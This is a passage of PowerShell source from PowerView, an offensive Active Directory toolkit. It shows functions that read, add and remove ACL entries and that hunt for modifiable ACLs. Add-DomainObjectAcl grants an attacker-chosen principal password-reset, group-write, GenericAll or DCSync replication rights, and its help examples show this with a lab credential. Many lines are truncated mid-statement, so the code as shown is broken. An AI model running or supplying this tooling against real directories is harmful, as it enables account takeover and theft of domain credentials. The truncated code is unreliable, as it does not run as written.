elseif ($_.AceQualifier -eq 'AccessAllowed' -and !($_.ObjectAceType) -and !($_.Inh
$Continue = $True
}
elseif (($_.AceQualifier -eq 'AccessAllowed') -and !($_.ObjectAceType) -and !($_.In
ForEach ($Guid in $GuidFilter) {
if ($_.ActiveDirectoryRights -match $Guid) {
$Continue = $True
}
}
}
}
else {
$Continue = $True
}
if ($Continue) {
if ($GUIDs) {
# if we're resolving GUIDs, map them them to the resolved hash table
$AclProperties = @{}
$_.psobject.properties | ForEach-Object {
if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|Inherited
try {
$AclProperties[$_.Name] = $GUIDs[$_.Value.toString()]
}
catch {
$AclProperties[$_.Name] = $_.Value
}
}
else {
$AclProperties[$_.Name] = $_.Value
}
}
$OutObject = New-Object -TypeName PSObject -Property $AclProperties
$OutObject.PSObject.TypeNames.Insert(0, 'PowerView.ACL')
$OutObject
}
else {
$_.PSObject.TypeNames.Insert(0, 'PowerView.ACL')
$_
}
}
}
}
}
catch {
Write-Verbose "[Get-DomainObjectAcl] Error: $_"
}
}
}
}
}
function Add-DomainObjectAcl {
<#
.SYNOPSIS
Adds an ACL for a specific active directory object.
AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
This function modifies the ACL/ACE entries for a given Active Directory
target object specified by -TargetIdentity. Available -Rights are
'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended
rights GUID can be set with -RightsGUID. These rights are granted on the target
object for the specified -PrincipalIdentity.
.PARAMETER TargetIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a
for the domain object to modify ACLs for. Required. Wildcards accepted.
.PARAMETER TargetDomain
Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.
.PARAMETER TargetLDAPFilter
Specifies an LDAP query string that is used to filter Active Directory object targets.
.PARAMETER TargetSearchBase
The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER PrincipalIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a
for the domain principal to add for the ACL. Required. Wildcards accepted.
.PARAMETER PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER AccessControlType
The control type for the ACE, 'Allow' or 'Deny'.
Defaults to 'Allow'.
.PARAMETER Rights
Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync', 'WriteProperty'.
Defaults to 'All'.
.PARAMETER PropertyName
The name of the property the ACE targets. Defaults to all properties.
.PARAMETER RightsGUID
Manual GUID representing the right to add to the target.
.EXAMPLE
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
...
Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a)))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'R
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rig
Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
AceQualifier : AccessAllowed
ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength :0
.EXAMPLE
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
[no results returned]
$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Crede
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(nam
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(nam
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'R
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rig
Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid
AceQualifier : AccessAllowed
ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength :0
.LINK
https://adsecurity.org/?p=1906
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e59
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$TargetIdentity,
[ValidateNotNullOrEmpty()]
[String]
$TargetDomain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$TargetLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$TargetSearchBase,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$PrincipalIdentity,
[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateSet('Allow', 'Deny')]
[String]
$AccessControlType = 'Allow',
[ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync', 'AllExtended', 'GenericWrite', 'Write
[String]
$Rights = 'All',
[String]
$PropertyName,
[Guid]
$RightsGUID
)
BEGIN {
$GuidMapperArguments = @{}
if ($PSBoundParameters['TargetDomain']) { $GuidMapperArguments['Domain'] = $TargetDomain }
if ($PSBoundParameters['Server']) { $GuidMapperArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $GuidMapperArguments['Credential'] = $Credential }
$TargetSearcherArguments = @{
'Properties' = 'distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDoma
if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $Targe
if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $Tar
if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $Search
if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $Re
if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $S
if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone
if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential }
$PrincipalSearcherArguments = @{
'Identity' = $PrincipalIdentity
'Properties' = 'distinguishedname,objectsid'
}
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $Principa
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $Sear
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombston
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
$Principals = Get-DomainObject @PrincipalSearcherArguments
if (-not $Principals) {
throw "Unable to resolve principal: $PrincipalIdentity"
}
$CommonPropertyNameMapping = @{
'serviceprincipalname' = 'Validated-SPN'
'SPN' = 'Validated-SPN'
}
$CommonPropertyGuidMapping = @{
'Validated-SPN' = 'f3a64788-5306-11d1-a9c5-0000f80367c1'
}
}
PROCESS {
$TargetSearcherArguments['Identity'] = $TargetIdentity
$Targets = Get-DomainObject @TargetSearcherArguments
ForEach ($TargetObject in $Targets) {
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'
$ControlType = [System.Security.AccessControl.AccessControlType] $AccessControlType
$ACEs = @()
if ($RightsGUID) {
$GUIDs = @($RightsGUID)
}
else {
$GUIDs = Switch ($Rights) {
# ResetPassword doesn't need to know the user's current password
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
# allows for the modification of group membership
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
# 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640
# when applied to a domain's ACL, allows for the use of DCSync
'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2d
'AllExtended' { 'ExtendedRight' }
'GenericWrite' { 'GenericWrite' }
'WriteProperty' { 'WriteProperty' }
}
}
ForEach ($PrincipalObject in $Principals) {
Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedna
try {
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.Secur
if ($GUIDs -and !($GUIDs -eq 'ExtendedRight') -and !($GUIDs -eq 'GenericWrite') -and !($G
ForEach ($GUID in $GUIDs) {
$NewGUID = New-Object Guid $GUID
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity
}
}
elseif ($GUIDs -eq 'ExtendedRight') {
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $
}
elseif ($GUIDs -eq 'GenericWrite') {
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericWrite'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $
}
elseif ($GUIDs -eq 'WriteProperty' ) {
$NewGUID = $null
if ($PSBoundParameters['PropertyName']) {
Write-Verbose "[Add-DomainObjectAcl] Trying to resolve PropertyName: $($PropertyN
if ($CommonPropertyNameMapping.ContainsKey($PropertyName)) {
$PropertyName = $CommonPropertyNameMapping[$PropertyName]
}
if ($CommonPropertyGuidMapping.ContainsKey($PropertyName)) {
Write-Verbose "[Add-DomainObjectAcl] Found common Guid mapping, using Guid
$NewGUID = New-Object Guid $CommonPropertyGuidMapping[$PropertyName]
}
if ($NewGUID -eq $null) {
$AllGUIDs = Get-GUIDMap @GuidMapperArguments
if ($AllGUIDs.ContainsValue($PropertyName)) {
$NewGUID = New-Object Guid ($AllGUIDs.GetEnumerator() | ?{$_.Value -eq $P
}
else {
Write-Verbose "[Add-DomainObjectAcl] Unable to resolve PropertyName, skippin
}
}
}
else {
Write-Verbose "[Add-DomainObjectAcl] No PropertyName passed, defaulting to All"
$NewGUID = New-Object Guid "00000000-0000-0000-0000-000000000000"
}
if ($NewGUID -ne $null) {
Write-Verbose "[Add-DomainObjectAcl] Using Guid: $($NewGUID.Guid)"
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'WriteProperty'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity
}
}
else {
# deault to GenericAll rights
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $
}
# add all the new ACEs to the specified object directory entry
ForEach ($ACE in $ACEs) {
Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguish
$TargetEntry = $TargetObject.GetDirectoryEntry()
$TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
$TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetEntry.PsBase.CommitChanges()
}
}
catch {
Write-Verbose "[Add-DomainObjectAcl] Error granting principal $($PrincipalObject.distingu
}
}
}
}
}
function Remove-DomainObjectAcl {
<#
.SYNOPSIS
Removes an ACL from a specific active directory object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
This function modifies the ACL/ACE entries for a given Active Directory
target object specified by -TargetIdentity. Available -Rights are
'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended
rights GUID can be set with -RightsGUID. These rights are removed from the target
object for the specified -PrincipalIdentity.
.PARAMETER TargetIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a
for the domain object to modify ACLs for. Required. Wildcards accepted.
.PARAMETER TargetDomain
Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.
.PARAMETER TargetLDAPFilter
Specifies an LDAP query string that is used to filter Active Directory object targets.
.PARAMETER TargetSearchBase
The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER PrincipalIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a
for the domain principal to add for the ACL. Required. Wildcards accepted.
.PARAMETER PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Rights
Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
Defaults to 'All'.
.PARAMETER RightsGUID
Manual GUID representing the right to add to the target.
.EXAMPLE
$UserSID = Get-DomainUser user | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
[no results returned]
Add-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID }
AceQualifier : AccessAllowed
ObjectDN : CN=user2,CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-883232822-274137685-4173207997-2105
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-883232822-274137685-4173207997-2104
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength :0
Remove-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
[no results returned]
.LINK
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e59
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$TargetIdentity,
[ValidateNotNullOrEmpty()]
[String]
$TargetDomain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$TargetLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$TargetSearchBase,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$PrincipalIdentity,
[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')]
[String]
$Rights = 'All',
[Guid]
$RightsGUID
)
BEGIN {
$TargetSearcherArguments = @{
'Properties' = 'distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDoma
if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $Targe
if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $Tar
if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $Search
if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $Re
if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $S
if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone
if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential }
$PrincipalSearcherArguments = @{
'Identity' = $PrincipalIdentity
'Properties' = 'distinguishedname,objectsid'
}
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $Principa
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $Sear
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombston
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
$Principals = Get-DomainObject @PrincipalSearcherArguments
if (-not $Principals) {
throw "Unable to resolve principal: $PrincipalIdentity"
}
}
PROCESS {
$TargetSearcherArguments['Identity'] = $TargetIdentity
$Targets = Get-DomainObject @TargetSearcherArguments
ForEach ($TargetObject in $Targets) {
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'
$ControlType = [System.Security.AccessControl.AccessControlType] 'Allow'
$ACEs = @()
if ($RightsGUID) {
$GUIDs = @($RightsGUID)
}
else {
$GUIDs = Switch ($Rights) {
# ResetPassword doesn't need to know the user's current password
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
# allows for the modification of group membership
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
# 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640
# when applied to a domain's ACL, allows for the use of DCSync
'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2d
}
}
ForEach ($PrincipalObject in $Principals) {
Write-Verbose "[Remove-DomainObjectAcl] Removing principal $($PrincipalObject.distinguis
try {
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.Secur
if ($GUIDs) {
ForEach ($GUID in $GUIDs) {
$NewGUID = New-Object Guid $GUID
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity
}
}
else {
# deault to GenericAll rights
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $
}
# remove all the specified ACEs from the specified object directory entry
ForEach ($ACE in $ACEs) {
Write-Verbose "[Remove-DomainObjectAcl] Granting principal $($PrincipalObject.disting
$TargetEntry = $TargetObject.GetDirectoryEntry()
$TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
$TargetEntry.PsBase.ObjectSecurity.RemoveAccessRule($ACE)
$TargetEntry.PsBase.CommitChanges()
}
}
catch {
Write-Verbose "[Remove-DomainObjectAcl] Error removing principal $($PrincipalObject.dis
}
}
}
}
}
function Find-InterestingDomainAcl {
<#
.SYNOPSIS
Finds object ACLs in the current (or specified) domain with modification
rights set to non-built in objects.
Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName
.DESCRIPTION
This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl,
and for each returned ACE entry it checks if principal security identifier
is *-1000 (meaning the account is not built in), and also checks if the rights for
the ACE mean the object can be modified by the principal. If these conditions are met,
then the security identifier SID is translated, the domain object is retrieved, and
additional IdentityReference* information is appended to the output object.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER ResolveGUIDs
Switch. Resolve GUIDs to their display names.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Find-InterestingDomainAcl
Finds interesting object ACLS in the current domain.
.EXAMPLE
Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs
Finds interesting object ACLS in the ev.testlab.local domain and
resolves rights GUIDs to display names.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs
.OUTPUTS
PowerView.ACL
Custom PSObject with ACL entries.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ACL')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DomainName', 'Name')]
[String]
$Domain,
[Switch]
$ResolveGUIDs,
[String]
[ValidateSet('All', 'ResetPassword', 'WriteMembers')]
$RightsFilter,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$ACLArguments = @{}
if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs
if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter }
if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageS
if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeL
if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential }
$ObjectSearcherArguments = @{
'Properties' = 'samaccountname,objectclass'
'Raw' = $True
}
if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $Search
if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $Re
if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $S
if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone
if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential }
$ADNameArguments = @{}
if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
# ongoing list of built-up SIDs
$ResolvedSIDs = @{}
}
PROCESS {
if ($PSBoundParameters['Domain']) {
$ACLArguments['Domain'] = $Domain
$ADNameArguments['Domain'] = $Domain
}
Get-DomainObjectAcl @ACLArguments | ForEach-Object {
if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRi
# only process SIDs > 1000
if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') {
